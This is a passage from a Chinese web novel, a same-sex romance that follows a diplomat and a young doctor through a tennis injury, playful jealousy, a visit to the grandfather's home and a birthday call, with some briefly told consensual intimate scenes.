池镜站在门外笑了笑:“确认一下你是不是在家。” 余闻嘉走过去把门打开,看着门外的人:“我不在家还能去哪?” 他刚健完身,刚才又是跑着步回来的,身上的汗还没干透,顺着小腹的肌肉线条滑下来,被裤腰截断,汗水洇湿了他运动裤的松紧带。 池镜走上前在他小腹上摸了一把,笑得漫不经心:“身材不错。” 余闻嘉按住他的手:“头一天知道?” “之前没仔细看。”池镜指尖在他肚脐眼上划了划,“今天很直观。” 上次在浴室撞见余闻嘉光着上半身他还尴尬,今时不同往日,现在都已经大大方方地上手摸了。 余闻嘉刚剧烈运动完,肾上腺素本来就升高了,人还亢奋着,经不住他这么撩扯。 他把池镜拽进浴室,顺手把门关上。池镜还没反应过来,已经被他抱着坐在了洗水池上。 池镜刚才倒不是故意招他,笑着问:“干什么啊……” 余闻嘉手撑在台面上,倾身压过去,沉声道:“我也不知道我要干什么。” 池镜知道这又是他自己惹出来的,他弯着腿,小腿抬起来在余闻嘉腰侧蹭了蹭:“你知道。不然你就不会把我抱这儿来了。” 池镜穿着宽松的棉质居家裤,很轻易地就被拽下来了。余闻嘉没让他离开洗水台,甚至没回房间拿油和t。两人昨天晚上才来过,进得很轻松。余闻嘉抱着池镜,从洗水池转移到淋浴间,池镜两条腿夹着他的腰,两人一刻不曾分离。结束一次后,余闻嘉将池镜摁在瓷砖上,身体倾压过来,从身后继续着。 结束后两人直接在浴室洗了个澡。 没有昨晚折腾得那么久,但从浴室出来的时候也快十二点了,池镜的菜也白买了,哪还有时间做。余闻嘉把他抱回卧室,直接订了个餐。 两个人搂一块在床上躺了会儿。 池镜体力其实也不差,不然哪经得住余闻嘉这么来。他下午还要跟仇亦去打球,之前约的,这次不能再推了。 池镜看了眼墙上的钟,快一点半了,他跟仇亦约的两点半。 “我一会儿得出个门。仇亦约了我下午打球,”池镜在余闻嘉耳边说,“两点半。” 余闻嘉眼睛都没睁:“推了。” 池镜失笑:“之前约的,不好推。” 余闻嘉眉头皱了起来:“……不在家陪我。” 池镜笑着亲亲他的耳朵,哄道:“以后陪,以后周末都陪你。” 余闻嘉睁开眼,手在他屁股上揉了揉:“你这样还能去打球?” 池镜挑了挑眉:“小看我了这是。” 床上这点事就是一回生二回熟,也不是第一次做了,池镜已经适应了,没那么娇气。 “看来强度还是不够。”余闻嘉说,“下次得让你下不来床,才能安安稳稳在家里陪我。” 池镜笑着从床上起来,弯着食指勾了勾他的下巴:“粘人精。” 第65章 第 65 章 我们粘人精可有脾气了。…… 65 池镜走去衣柜那儿找衣服穿。说余闻嘉是粘人精一点也没冤了他, 池镜拿个衣服的工夫,他又从身后贴过来了,身上也没穿衣服, 就穿了条内裤。他比池镜高大半个头,身板也比池镜宽, 池镜在他身前能被他整个笼住。 他胸膛贴着池镜, 抬起手越过池镜的肩膀从衣柜里拿衣服——上次池镜妈妈来这一趟之后, 他就把自己的衣服都搬主卧来了。 池镜侧过头来:“粘人精下午准备干什么?” 余闻嘉边拿衣服边说:“粘人精下午准备黏人。”他垂眸扫一眼池镜,“一会儿我送你去打球。” 池镜眨了下眼睛,笑道:“粘人精要看我打球啊。” “不给看?”余闻嘉套上T恤, 顺手拿走了池镜手里的运动短袖,帮他穿上。 “给。尽管看。” 池镜和仇亦是在室内场馆打的球,余闻嘉看到半程接到了他爷爷打来的电话。老爷子下午开着四轮电动车去郊外钓鱼,回来路上车胎破了,一路漏气, 没能撑到家。现在车坏到半道上,他只好给余闻嘉打了通电话。 老爷子这辆四轮代步车还是余闻嘉给他买的,开了两三年了,日常非常爱惜。 余闻嘉跟池镜说了声, 就赶去他爷爷那儿了。 也得亏余闻嘉走得早, 再多待一会儿就得看到池镜打球摔跤。 球类运动难免磕磕碰碰, 池镜的网球是大学那会儿仇亦教他的,网球是项费钱的运动,他那时候哪有经济条件玩这种高级运动,也就是仇亦爱叫他一起,还把他教入门了。 前些年在国外工作繁忙,也没有固定的球友, 池镜有好几年没有跟人打过网球,回国以后才重新拾起这项爱好。 池镜和仇亦打球是放松性质,不会打得太过火,不然容易受伤。池镜今天有点打兴奋了,飞得老远的球也不管不顾地去接,结果不小心摔了一跤,磕伤了膝盖。还好手即时在地上撑了一下,没有摔得多重。 因为上次打球池镜就不小心被球砸了,仇亦这次特意带了医药包。 池镜坐在球场旁边的长椅上,给伤口简单消了下毒,仇亦弯着腰往他膝盖上喷药,说笑道:“下次都不敢找你打球了,回回都受伤。” 池镜笑了下:“哪是回回,不就两次吗。” “今天干嘛呢,有家属看着打兴奋了啊?横冲直撞的。” 池镜点头:“啊。” 仇亦笑着往他旁边一坐:“人都走了还搁这儿兴奋呢。” 池镜笑着没说话。 说起来两次受伤都跟家属有点关系,上次是因为家属出远门心里挂念人不在状态,这次又是因为家属过来旁观打得兴奋了。 “还好是走了。”池镜拿起椅子上的水喝了一口,“不然看见我摔跤该挂脸了。” 刚才要是不拼死去救那个球,那一跤完全可以避免。这也不是竞争性质的比赛,就是休闲放松的活动,余闻嘉要是知道他是这么伤的肯定得说他。 仇亦乐了:“池处夫管严的人设屹立不倒。” 等药干了,池镜把裤腿放下来,站起来稍微动了动腿。 还好,没伤着骨头,活动自如。 池镜还打算继续打,仇亦笑道:“你可算了吧,你这腿再蹦跶几下分分钟就肿了,还打呢。” 池镜动了动膝盖:“没那么严重。” 仇亦摇头,开玩笑道:“管你严不严重,我不打了。回头你家那位知道你受着伤还继续打,挂脸了怎么说?还得赖我。” 池镜被他逗笑了。 后来两人没再继续打,去休息区歇了会儿,点了两杯喝的,坐着聊天。 余闻嘉处理完他爷爷那边的情况,又立马赶回了网球场馆。他在路上给池镜打了通电话,池镜很快接了,应该是没再打球。 “我过来了。”余闻嘉说,“你打完了?还是在休息?” “打完了。” “我十五分钟到。” “好。” 池镜是个报喜不报忧的性子,膝盖伤了下意识不想让余闻嘉知道。也好在今天穿的是长裤,能把摔的地方挡住。他上了车,没提刚才摔跤的事。 “回来得挺快,”池镜把球拍放在后座,“老爷子呢,人和车都给送回去了?” “嗯。”余闻嘉转头看了他一眼。池镜打完球出了一身汗,头发有点潮,被他随意地捋到脑后,没了头发的遮挡,眉眼露了出来。这样状态下的他,不经意间透着股性感。 池镜低着头系安全带,抬头时发现余闻嘉靠过来想亲他。他往后躲了一下,笑着推开他的下巴:“这一身臭汗还亲呢……等我回去洗得香喷喷再亲。” 余闻嘉拉开他的手,捏着他的下巴在他嘴上亲了一下,亲完嘴把他头发往后抚了一下,又在他额头上亲了一下。 池镜闭眼笑着:“粘人精发力了是吧。” “是的。”余闻嘉松开他,坐回去启动车子。 池镜到家先去洗了个澡,洗的时候伤口免不了碰到水,一碰水就疼了。膝盖一疼,腿就站不直。余闻嘉在卧室换床套,看他从外面走进来,走路姿势有点不自然。 要换了别人,绝对看不出池镜腿有什么问题。 但现在面前的人可是余闻嘉。 “腿怎么了?”余闻嘉盯着他的腿。 池镜知道瞒不过了,老实道:“刚打球摔了下。” 余闻嘉眉头一皱:“摔哪儿了?” “没事,皮外伤——” “问你摔哪儿了。”余闻嘉走过来,把他一条裤腿往上一掀。池镜伤的就是这条腿,膝盖上磕破了,皮肤表层有紫色的淤血。 “刚才怎么不说。”余闻嘉抬眼看向他,眉心蹙着,语气不太温柔。 “小伤……”池镜笑了笑,“犯不着专门跟你提一嘴。” “犯不着?”余闻嘉把他裤腿放下来,“我们俩现在什么关系,你说犯不着。” “我不是那个意思……” 余闻嘉手垂在身侧,看着他,表情冷冷淡淡的。 池镜笑着勾了一下他的小拇指:“哎你又给我挂脸……你知道我不是那个意思,我就是习惯了这样,下意识不想跟你说……” “我哪挂脸?”余闻嘉反问。 池镜戳了一下他的脸蛋:“你哪没挂脸?这脸冷的,泼一盆水上去都能立刻结冰。” “你习惯哪样?”余闻嘉问他,“出点什么情况第一时间先想怎么瞒着我?” 池镜习惯了报喜不报忧,像他之前撤侨经历的那次险情,他到现在都没跟余闻嘉提过,并且永远不打算提。 “都说了是小伤……”池镜语气软下来,轻轻捏着他的小拇指。 “小事都不提,大事更不会提了。”余闻嘉不是小题大做,只是他了解池镜的性子,他得借着今天这件小事把池镜这个“习惯”拗过来,“把你这习惯改掉,以后别再有这种‘下意识’。” “你不是第一次这样了。”余闻嘉看着他说,“上次被球砸着脑门,我问你,你第一反应也是掩饰,还跟我扯谎。你这个习惯好吗?” 池镜没想到余闻嘉还记着这事,还记得门儿清,连他扯那一句小谎都记得。 “问你这个习惯好不好?”余闻嘉问他。 池镜乖乖回答:“不好。” “改不改?” 池镜点头:“改。” “别总想着我会不会担心,你什么都不说我更担心。”余闻嘉说,“以前你不说,我不问你,那是我觉得我没那资格问,不代表我不挂心。” 他话音停了一下,继续道:“你每次去国外办事,我都很挂心,时时刻刻都挂心。” 池镜眼眸微微一颤,上前一步抱住他。 “你明白我什么意思吗镜哥?”余闻嘉在他耳边问。 池镜轻声说:“明白。” “以前怎么样我不管,以后你遇到什么事,都第一时间跟我说。”余闻嘉抚摸着他的后颈,“不许一个人扛着。” 池镜吻了吻他的耳垂:“知道了闻嘉。” “腿摔得疼不疼?”余闻嘉松开他,低头看了眼他的膝盖。 “疼。”池镜搂住他的脖子,“都摔紫了,能不疼么。” 余闻嘉眼神淡淡的:“刚才不说是小伤?” 池镜绷不住笑了:“谁说小伤就不疼了。疼死了,闻嘉快给呼呼。” 余闻嘉眼里也透出了点笑意,问他:“摔没摔着骨头?” “没。” 余闻嘉朝床那边抬了抬下巴:“去床上坐着,我去给你拿药。” “都说了我腿疼。”池镜勾着他的脖子不放,“怎么没有一点自觉。” 余闻嘉忍不住笑了,池镜凑过来在他嘴角亲了亲:“可算是不挂脸了。” 余闻嘉把他抱起来:“谁跟你挂脸了,我不笑的时候就这表情,脸就这样。” 他把池镜抱到床上坐着,去客厅拿了药箱过来。 池镜坐在床边,余闻嘉指腹在他膝盖骨上摁了摁:“确定没摔着骨头?这么按疼吗?” “不疼。” 余闻嘉帮他抹药,皱眉道:“怎么回回打球都得受点伤……” “网球么,难免的,球速那么快呢。” 余闻嘉抬眼看向他:“你就不能悠着点打,又不是打比赛。” 池镜笑了笑:“还想着摔的时候没让你看见,你不至于跟我挂脸,没想到还是没逃过一劫。” 余闻嘉淡淡道:“你还怕我挂脸。” “怕啊。哎哟我们粘人精可有脾气了。”池镜笑着说,“仇亦说我夫管严真是一点没冤了我。” 余闻嘉垂眼笑着,没说话。 上好药,池镜抬了抬膝盖,说:“闻嘉给呼呼。” 余闻嘉低下头,对着他的伤口呼了呼。 第66章 第 66 章 这醋吃得还对味儿?…… 66 池镜这阵子出差有点频繁, 刚从外地回来没几天又出了趟国,出席了场领事磋商会议。他这一出国又是四五天,除了开会还有别的事。他出差期间, 余闻嘉基本不会在白天联系他,都是晚上给他发消息。第五天池镜还没回国, 这么多天余闻嘉第一次发消息问:什么时候回来? 池镜:暂时不确定, 下周肯定能回来。 余闻嘉:好。 他也就是池镜在跟前的时候黏人, 池镜一旦出差工作,他就没那么黏了,甚至还显得有点边界感。 差不多隔了半小时, 池镜临睡前才看到手机又亮了一下,屏幕上是余闻嘉发来的消息:想你了。 池镜发了条语音过去:我也想闻嘉。 为着这句“想你了”,池镜结束完这边的工作就立刻订了回国的机票,连给自己缓口气的工夫都没留,当天就飞回国了。他没提前通知余闻嘉, 提前说了余闻嘉肯定得来机场接他,落地太晚了,他不想让他大老远的赶一趟。 池镜到家的时候,家里没人, 他给余闻嘉打了通电话。 “镜哥?” “人呢?”池镜去厨房倒了杯水喝, “还在医院加班?” 余闻嘉没在医院, 他在实验室,池镜不在这几天,晚上只要不加班他就会去实验室,待得晚了就直接住宿舍。 余闻嘉停下手头的实验,拿着手机站了起来,“你回来了?” “啊。”池镜笑着喝了口水, “到家了都。你还在医院?” “没,在实验室。”余闻嘉边说话边收拾桌面,“我马上回来。” 池镜放下水杯,走到玄关拿了车钥匙,“我来接你。” “不用。” “这个点地铁都停运了。”池镜出去关上门,“等我。” “嗯,好。” 这个点还在实验室的除了余闻嘉,还有苏文。余闻嘉收拾好东西就下了楼,在实验室一楼大厅坐着等池镜。没多久苏文也下来了,看见他脚步一停:“师兄你坐这儿干嘛呢? “等人。”余闻嘉低头看消息,池镜已经到了,他站了起来。 池镜坐在车里,看到余闻嘉和苏文一前一后从实验室大楼里走了出来。 苏文朝池镜车子的方向看了一眼,车窗开着,他能看到里面坐着的人。这一位他有印象,之前见过两面。 自从上次表白被拒后,苏文很干脆地接过这茬了,权当什么事都没发生过,也没有刻意跟余闻嘉保持距离。没必要。两个人一个组的,经常会碰面,正常相处就行了。 余闻嘉当初说他结婚了,苏文第一反应不信,后来回过味来就信了。他知道以余闻嘉的性格,不可能拿这种事当回绝别人的理由。 他其实还是挺好奇的,好奇车里坐着的那位是不是就是跟余闻嘉结婚的人。 苏文笑着问了一句:“你等的人就是那一位吗?” 余闻嘉回头看他一眼。 苏文朝池镜的方向抬了抬下巴:“师兄,你之前说你已经结婚了,是跟车里的那位吗?” 余闻嘉说:“是。” 苏文点了点头:“看来我的直觉还是没错啊。” 余闻嘉看着他。 苏文淡淡一笑:“第一次见你俩就觉得不对劲。” 余闻嘉没说什么,只道:“走了。” “好,回见,师兄。” 余闻嘉坐进副驾,池镜看向窗外,跟不远处的苏文对视了一眼。苏文冲他礼貌地笑了笑,他也回以微笑。 “看他干什么。”余闻嘉出声,“看我。” 池镜转过头来,笑道:“看着呢。” “说了才看。”余闻嘉系上安全带,“没自觉。” 一见面这黏人劲儿就又冒出来了。 池镜失笑:“把我眼珠子抠出来粘你身上得了,省得我再去看旁的。” 苏文从车旁经过,池镜目光往他那儿掠了一眼,挑着眉问余闻嘉:“这是你实验室的师弟?” “是。” “叫苏文?” 余闻嘉转头看他一眼,说:“是。” 池镜点了点头,没再说什么,准备发动车子。 余闻嘉问:“没什么要问的了?” “嗯?”池镜动作一停,扭头看了他一眼,“什么?” “苏文。” 池镜没太反应过来:“什么意思?我问他什么?” “你都知道他叫苏文了,还没什么想问的?光确认下名字就行了?” 池镜不知道他想表达什么,笑了声:“弯弯绕绕的说什么呢,把话说清楚了。” “他那天发我的微信,你是不是看到了。” 池镜挑了挑眉:“嗯,看到了。” 余闻嘉淡淡道:“那你反应倒是挺平淡,看起来没个吃醋的样子。” 池镜终于跟上他的脑回路了,合着是自己没吃醋,不高兴了。 他笑道:“谁跟你说我没吃醋,我那天不是问你为什么没戴戒指,你当我随口问的?” “今天呢,”余闻嘉故作较真,“今天怎么不吃醋。” 池镜笑得说不出话来。 某人今天三岁,不能再多了。 “行,我立马来吃个醋。”池镜说醋就醋,立刻拉下脸,“我问你,你跟他怎么大半夜的还一块在实验室?还一块从实验室出来?” 余闻嘉看着他,眼底有不太明显的笑意。 池镜问他:“这醋吃得还对味儿?” “表演痕迹太重。”余闻嘉评价。 池镜乐了,坦言道:“今天有点表演的成分,那天可没有,我那天是真有点吃醋。” 余闻嘉咬文嚼字:“有点?” 池镜笑着捏了捏他的脸:“以前怎么没发现你这么幼稚。” 余闻嘉抓住他的手,歪着头脸在他手心蹭了蹭:“不幼稚怎么让你哄我。” 第67章 第 67 章 你要打报告你就别用了。 67 一到家, 灯还没开,门刚关上,池镜就被余闻嘉压在门板上吻住了。行李箱在池镜脚边, 他转身靠过来的时候,膝盖不小心在箱子上撞了一下, 挺大的一声响, 池镜赶忙推开他, 抬手去摸墙上的开关,把廊灯打开了。 “撞哪儿了?”池镜低下头看了眼。 “没事。”话音未落,余闻嘉又捏住他的下巴吻了过来。 池镜抬起胳膊环住他的脖子, 余闻嘉往前一抵,压他更紧。两个人胯抵着胯,轻轻磨蹭。余闻嘉搭在池镜腰间的手缓缓下移,抚到他腿侧。他微微下腰,手托住池镜的大腿把他抱了起来, 转身朝客厅走去。 家里只有廊灯亮着,越往里走越暗。 余闻嘉没回卧室,抱着池镜走到沙发那儿,俯身把池镜压倒在沙发上。客厅空旷, 阳台门开着, 窗帘也没拉, 他们在一个相对开放的空间,这让池镜有点不习惯,他被余闻嘉困在身下,深入触碰让他气息不稳。 “闻嘉……”他喘息着叫余闻嘉的名字,“去把窗帘拉上。” “没人看见。”余闻嘉手上动作不停,“已经很晚了。” 他今天有些急躁, 以往都会注意不在池镜脖子上留痕迹,今天却没收住,唇抵在池镜颈侧脉搏处,轻轻吮吸。池镜偏过头缩了一下脖子,提醒地叫了声“闻嘉”。 余闻嘉回过神,及时止住了。 池镜的职业不比其他,他不能在露肤的地方留下这种痕迹。 余闻嘉舔了舔他颈侧,低声说:“对不起。” 池镜捧住他的脸,含笑道:“又说对不起。” “以后注意。”余闻嘉说着一动。 池镜闭上眼浑身一抖,之后便无暇再说话了,嘴里只有一声声低哼。 余闻嘉伏低身子,在他耳旁低声说着“想你”。 结束之后,池镜整个人趴在余闻嘉身上,两个人摞在一起,感受着彼此的心跳。 缓了一会儿,余闻嘉搂着池镜的腰把他抱起来,池镜两条腿轻车熟路地缠上他的腰,挂在他身上。天热了,活动完两人一身汗,身上有点黏。余闻嘉把池镜抱去浴室洗澡,从洗水台置物柜里拿了一整盒湿巾,去收拾客厅。 好在沙发是皮的,收拾起来比较方便。他俩刚才挺荒唐,连茶几都弄得一塌糊涂。余闻嘉把地上的衣服捡起来扔进阳台洗衣机里,然后拿湿巾把沙发和茶几擦干净,也擦了擦地板。这一通收拾,用了半盒湿巾。 他又回浴室拿了块干净的大毛巾,过水之后又去客厅把沙发和茶几擦了一遍,擦完顺便把地也拖了一下。 池镜洗完澡出来,客厅已经没有那股味道了,余闻嘉穿着条内裤,站在沙发那儿喷清新剂。 池镜累得刚才冲澡的时候都懒得动,谁知道他洗个澡的工夫,余闻嘉都已经把客厅收拾干净了。 他看着余闻嘉笑了下:“你精力怎么那么好呢。” 余闻嘉抬眼看过来,说:“我这个年纪精力不好才有问题。” 池镜笑着朝卧室走去,“你这已经不是一般的好了。快去洗澡,洗完回来陪我睡觉。” 余闻嘉洗完澡把池镜的行李箱推到了卧室,拉开拉链把箱子展开,问池镜哪些衣服是脏的,要洗,他现在拿去放洗衣机里一起洗了。 “都干净的,”池镜说,“都在酒店里洗过了。” 余闻嘉把他衬衫拿出来,抻开打算挂衣柜里,池镜说:“放那儿就行,不用挂起来。” 余闻嘉抬头看他一眼。 池镜过几天还得出趟国,他都不知道该怎么跟余闻嘉说这事,明明才刚回来。 池镜眉心微蹙,余闻嘉放下衣服走过来,在床边坐下来,看着他问:“皱什么眉?” 池镜拉住了他的手,一时间没说话。 “是不是过几天还要出差?”余闻嘉问他。 池镜点了点头。 “什么时候?” “下周三。” 余闻嘉躺上床,抓着他的手指捏了捏,问他:“累不累?” “不累。”池镜转头看了他一眼。 余闻嘉虽然现在会大大方方地黏人,池镜周末不陪他他会发点“小脾气”,直白地表达自己不高兴,但如果池镜是因为工作出差没办法在家陪他,他就完全不会这样,他甚至不会在池镜面前表现出不舍的情绪。 “明天休息吗?”池镜问他。 “不休。” 池镜一愣:“你明天还要上班?” “要。” 池镜看了眼墙上的钟,都快两点了。 “你怎么不早说,这一通折腾。”池镜关上床头灯,“明天你怎么起得来。” “早说了就不会折腾了?”余闻嘉在黑暗中说,“我想折腾你也拦不住。” “确实拦不住,谁能拦得住你。”池镜笑着轻拍他的胸口,“你快睡吧小祖宗。” 余闻嘉握着他的手,低声问他:“这几天有没有想我?” 池镜凑到他耳边,亲了亲他的耳垂:“想。不想我也不会今天晚上就赶回来了。” 余闻嘉翻身将他搂在了怀里。 余闻嘉这周末连着两天都加班,周日老爷子本来想让他陪自己去钓鱼,又赶上他上班没时间,正好池镜这天休息,就替他陪老爷子钓鱼去了。下午收获颇丰,池镜还钓了条大草鱼,摘钩的时候鱼直扑棱,跳到他身上,从胸口直溜溜滑下去,蹭得他衣服上都是水痕。 钓完鱼,池镜开车带老爷子回了老宅。他被那条大青鱼弄得一身水,身上一股腥味,老爷子让他去余闻嘉的房间洗个澡,换身衣服。 家里他妈和姥姥在,都是女士,家里地方又小,他回家洗澡确实不太方便。 余闻嘉的卧室在东房,一间独立的大屋子,卧室旁边就是卫生间。 老爷子让池镜穿余闻嘉的衣服,让他自己在他衣柜里找。 正巧余闻嘉打了通电话过来,问他钓完鱼没。 “钓完了。”池镜说,“你下班了?” “下了。” 老爷子转头看向池镜,说:“让他一会儿过来吃晚饭。” 池镜点了点头,跟余闻嘉说:“你直接来爷爷这吃晚饭吧。要接你吗?” “不用,我已经上地铁了。” “行。”池镜朝余闻嘉的房间走去,“跟你打个报告,我现在要进你房间了,还要征用一下你的卫生间和你的衣服。” “这需要打报告吗?” 池镜笑了下:“还是需要的。” “你要打报告你就别用了。” 池镜笑道:“不让我用啊?” “不让。”余闻嘉说,“进个房间还要打报告,我们俩不熟是吗。” “熟,最熟了。”池镜低头笑着,“让吧,我下次不打报告了。我都到你房门口了。” “让不让啊?”池镜问。 余闻嘉“嗯”了声,说:“让。” “谢谢领导。”池镜打开房门走了进去。 “你怎么了?钓鱼把身上弄脏了?”余闻嘉问。 “啊,鱼扑我身上,弄我一身水,一股味儿。” 余闻嘉这间屋子平时没人住,但保姆每周都会打扫,所以屋里很干净。 眼前的一切还是记忆中的样子,池镜不由得回想起第一次来这里找余闻嘉,那是个冬日的周末,他说好要带余闻嘉去冰场滑冰,来家里找他却听他爷爷说他发烧了,刚挂完水,还在屋里睡着。 池镜敲门进屋,余闻嘉躺在床上,半张脸被被子挡住,他微微睁开眼往门口看了一眼。 池镜走到床边,弯下腰问:“怎么样了?好点没?” 余闻嘉病恹恹的,嗓子也有点哑:“我再躺半小时就好了,你等我。” 池镜笑了:“都这样了还想着去滑冰呢。” 余闻嘉小时候体质弱,隔三差五就生病,这时候他初二,很黏池镜。 “我可以滑。”余闻嘉说。 “你不可以。”池镜帮他把被子往上拉了拉,“好好睡觉。” “我不要睡觉。” “你要。”池镜摸了摸他的额头,“你别跟我犟,再犟以后都不带你滑冰了。” 余闻嘉拧着眉,没吭声。 没过片刻,池明风风火火地推门进来:“还走不走了啊?” 他看了眼睡在床上的余闻嘉,走过来道:“这是咋了?生病了啊?” “发烧了。”池镜说。 “挂水没?” “挂了。” “那你在家好好歇着吧。”池明招呼他哥,“咱走吧哥,让他睡。” 没等池镜说话,余闻嘉手从被子里伸出来,攥住了他的手,他沉默地盯着池镜,池镜俯下身来问他:“怎么了?” 他抿了抿嘴,垂下眼眸小声说:“别走。” 池镜在床边坐下来,“行,不走。” 余闻嘉把他手拉进被窝里,紧紧攥着。 “不是……”池明站一旁笑了,“你小子生病怎么还限制我哥的人身自由呢。你不去滑冰了啊哥?” “你自己去吧。”池镜转头看他一眼,“又不是找不着人陪你。” 池明“啧”了一声:“到底谁是你弟,我真的要吃醋了。” “吃吧。”池镜笑了笑,“没人拦着你。” 同样是弟弟,余闻嘉比池明会撒娇,没办法,池镜很吃这一套。而且余闻嘉比池明还小三岁,正经还是个小男生,性格又有点敏感,招人疼,池镜肯定会下意识更宠他一点。 池明站在那儿还不走,余闻嘉生怕他把池镜带走,冷酷地赶人:“你还不走?” 池明双手抱胸:“我不走你能怎么的。” 余闻嘉眉头拧了起来,看向池镜:“哥,他在这影响我休息。” 池镜看着池明:“你该干嘛干嘛去吧,别在这杵着了,明天早上给你买鸡蛋饼。” 池明眼睛一亮:“这可是你说的啊,我要加俩里脊。” 池镜点头,随后摆摆手,示意他走人。 池明走后,余闻嘉转过头,把脸贴在池镜的胳膊上,闭上眼嘀咕了一句:“真烦人。” 池镜笑着弹了弹他额头:“心眼还挺多。” 余闻嘉睁开眼睛,池镜问他:“我在这就不影响你休息了?” 余闻嘉拿脸轻轻蹭着他的手腕,一生病更黏人:“不影响。” 第68章 第 68 章 别装。你该黏黏。 68 池镜打开衣柜, 从里面拿了件短袖和运动裤,他余光一晃,瞥见衣柜最上层一格的角落有个毛绒玩偶——一只穿着宇航服的白色小熊。 同样的小熊池镜也有一只, 他的是棕色的,跟这只小熊是一对。那是余闻嘉送他的第一个礼物, 池镜记得是在他高一, 新年那天。那时候余闻嘉初二, 搬来他爷爷这儿差不多一年了。 池镜把小熊拿下来看了眼,手指在小熊脑袋上轻轻弹了弹。 他把小熊放回去,拿上衣服进了浴室。 钓鱼出了一身汗, 池镜顺带洗了个头,天热了,浴室里待久了闷得慌,他洗完澡没吹头,直接顶着一头湿发回了房间, 头上盖了块毛巾。 余闻嘉三分钟前刚到家,这会儿正在房间里,毛巾有点遮挡视线,池镜一开门, 余光隐约看见床边坐着个人影, 没由得一愣。 余闻嘉低着头在看手机, 闻声抬了下头。 “吓我一跳……”池镜把头上的毛巾往后扯了扯,顺手关上房门。 “这就吓一跳了,我要直接进浴室你不得吓两跳。” “那你可吓不着,”池镜笑着说,“浴室门我给锁了,你进不来。” “别低估小年轻的力气和手段。”余闻嘉把手机放床上, 看着他,“过来。” 池镜走过去,站他面前,弯着眼睛笑笑:“过来了。” “要抱你。”余闻嘉说。 床旁边是一整面落地窗,窗帘没拉,从屋里能看到外面的院子。池镜走过去把窗帘拉上,还想去把门锁了,结果刚一转身就被余闻嘉拽着胳膊一把拉到了怀里。 池镜跌坐在余闻嘉身上,余闻嘉从后面圈住他的腰,鼻尖抵着他的后颈蹭了蹭。池镜刚洗完澡,身上有股沐浴露的清香,脖子上有发梢滴落的水珠,颈间冰冰凉凉的。 池镜失笑:“让我锁个门行不行?” “没人会进来。”余闻嘉抱着他不撒手。 “万一呢。” “我又不干什么。”余闻嘉侧过头看着他,“你以为我要干什么。” 池镜笑了一声:“你是觉得你现在没在干什么?” “我干什么了,”余闻嘉亲亲他的脖子,“抱一下怎么了。” 池镜笑了笑,没再说什么,任由他抱着。他头朝后仰了仰,说:“给我擦擦头发。” 余闻嘉“嗯”了声,按着毛巾轻轻搓着他头发。 今天一大家子一起吃的晚饭,走前池镜跟余闻嘉说:“我回家拿个东西。” 余闻嘉陪池镜一起去了他家老宅,看见他进房间打开衣柜,从最底层拖了个箱子出来。池镜打开箱子,从里面拿出了余闻嘉很多年前送他的宇航员小熊。 余闻嘉看着他手里的小熊一愣。 小熊被池镜保存得很好,还拿一个透明的塑料盒单独装起来了,这些年他东奔西走,小熊就留在这间屋里,跟他的年少时光一起封存在这。 “去把你房间的那只小熊也拿上吧。”池镜拿着小熊在余闻嘉眼前晃了晃,“带它们一起回家。” 余闻嘉看着他手里的小熊良久,最后抬眼看向他,点头“嗯”了一声。 两个人走在巷子里,一人手里拿了只小熊。池镜低头看了眼自己手里的这只,不免想起了一些事情。 “还记得有次你发脾气,把这熊丢垃圾桶的事吗?”池镜开口问。 余闻嘉沉默片刻,说:“不记得。” 池镜笑了声,转头看向他:“真不记得还是假不记得?” “不想提这个。” “为什么不想提?” “没什么好提的。” “可我想提。”池镜脚步停下来,“闻嘉——” 余闻嘉也停下来,看着他。 “你那时候是不是以为我在跟别的女生在谈恋爱?”池镜问他。 余闻嘉说:“是。” “我没有。”池镜说,“赵雨霏跟我只是朋友——” “我知道。” 之前校庆的时候,余闻嘉就知道了。池镜和赵雨霏之间那个相处状态,不太可能是前男女朋友的关系。当然,是不是对余闻嘉来说都不重要了,池镜以前有没有谈过恋爱,有没有跟女生交往过,这都不重要。他已经拥有了池镜,也拥有了池镜的以后。从前如何,不值一提。 “什么时候知道的?”池镜问他,“自己琢磨明白的?” “嗯。”余闻嘉拉着他的手,继续往前走。 想到余闻嘉当初因为这事闹那么大的情绪还憋着不吭气,池镜还觉得有点心疼。他捏了捏余闻嘉的手指,说:“你当初就不会直接问问我?” “我怕听到我不想听到的答案,我也不想亲耳听到你说你跟别人在一起。” “所以我不想提这事。”余闻嘉转头看着池镜,“提它就会让我想起来我错过的那几年。” “——我从以前开始就太小心翼翼了。” 池镜笑了笑,攥紧了他的手,“你也说了是以前。” 余闻嘉“嗯”了一声:“所以那些都不重要了,没必要提。” 他们牵着手,慢慢悠悠地穿过小巷,他们往前看着,也往前走着。 池镜回国没几天,周三又出国了,去一个免签的岛国出席领事馆落成典礼。这趟出差让他错过了余闻嘉的生日。 余闻嘉周五生日,池镜当天还在国外。他卡着零点给余闻嘉发了条语音祝福,晚上回酒店又给余闻嘉打了个视频电话。 池镜不在家,余闻嘉这个生日过得也不含糊,家里那么多长辈在呢,必不会含糊。 池镜电话打来的时候,余闻嘉正在收拾行李,他明天要跟齐教授去外地参加学术会议,得出个短差。 余闻嘉把手机架在床上,接通视频,继续半蹲在那儿收拾行李。 “生日快乐,闻嘉。”池镜一回酒店就给余闻嘉打了电话,视频里的他边走边说话,背景从门变成了床。 他那边跟国内几乎没时差,余闻嘉看了眼时间,已经晚上十一点多了。 “才忙完?”余闻嘉问他。 “去参加了个酒会,刚结束。”池镜扯下领带挂在衣架上,看到视频里余闻嘉在往行李箱里放衣服,“怎么在收拾行李?要出差?” “明天要去外地参加个会。”余闻嘉说。 “去几天?” “会开两天,估计第三天回来。” “你去洗澡吧,”余闻嘉怕他累着,“洗完早点休息。” “不想跟我多聊会儿啊。” “怕你累。”余闻嘉抬眸看一眼视频里的人,“回来有的是时间聊,不差这一时半会儿。” 池镜一出差他就这样,生怕自己占他的时间。 “怎么不问问我什么时候回来。”池镜说。 “我不问。”余闻嘉低着头叠衣服,“你什么时候回来提前跟我说。我接你。” 池镜在床上躺下来,手机举在眼前沉默了半晌,忽然问:“闻嘉,我总这样各处去,会不会让你觉得不踏实?” 余闻嘉手上动作一停,抬眼看向屏幕。 这个问题就又回归到了池镜最初的顾虑。 现在只是各处去,以后任期到了,他还是有可能会去别的国家常驻,这些都没有定数。 “要听实话还是假话?”余闻嘉问。 池镜笑了:“你说呢。” “实话是,会。”余闻嘉看着他,“那你会不会觉得我太黏人了,让你有负担?” 池镜摇头:“不会。” 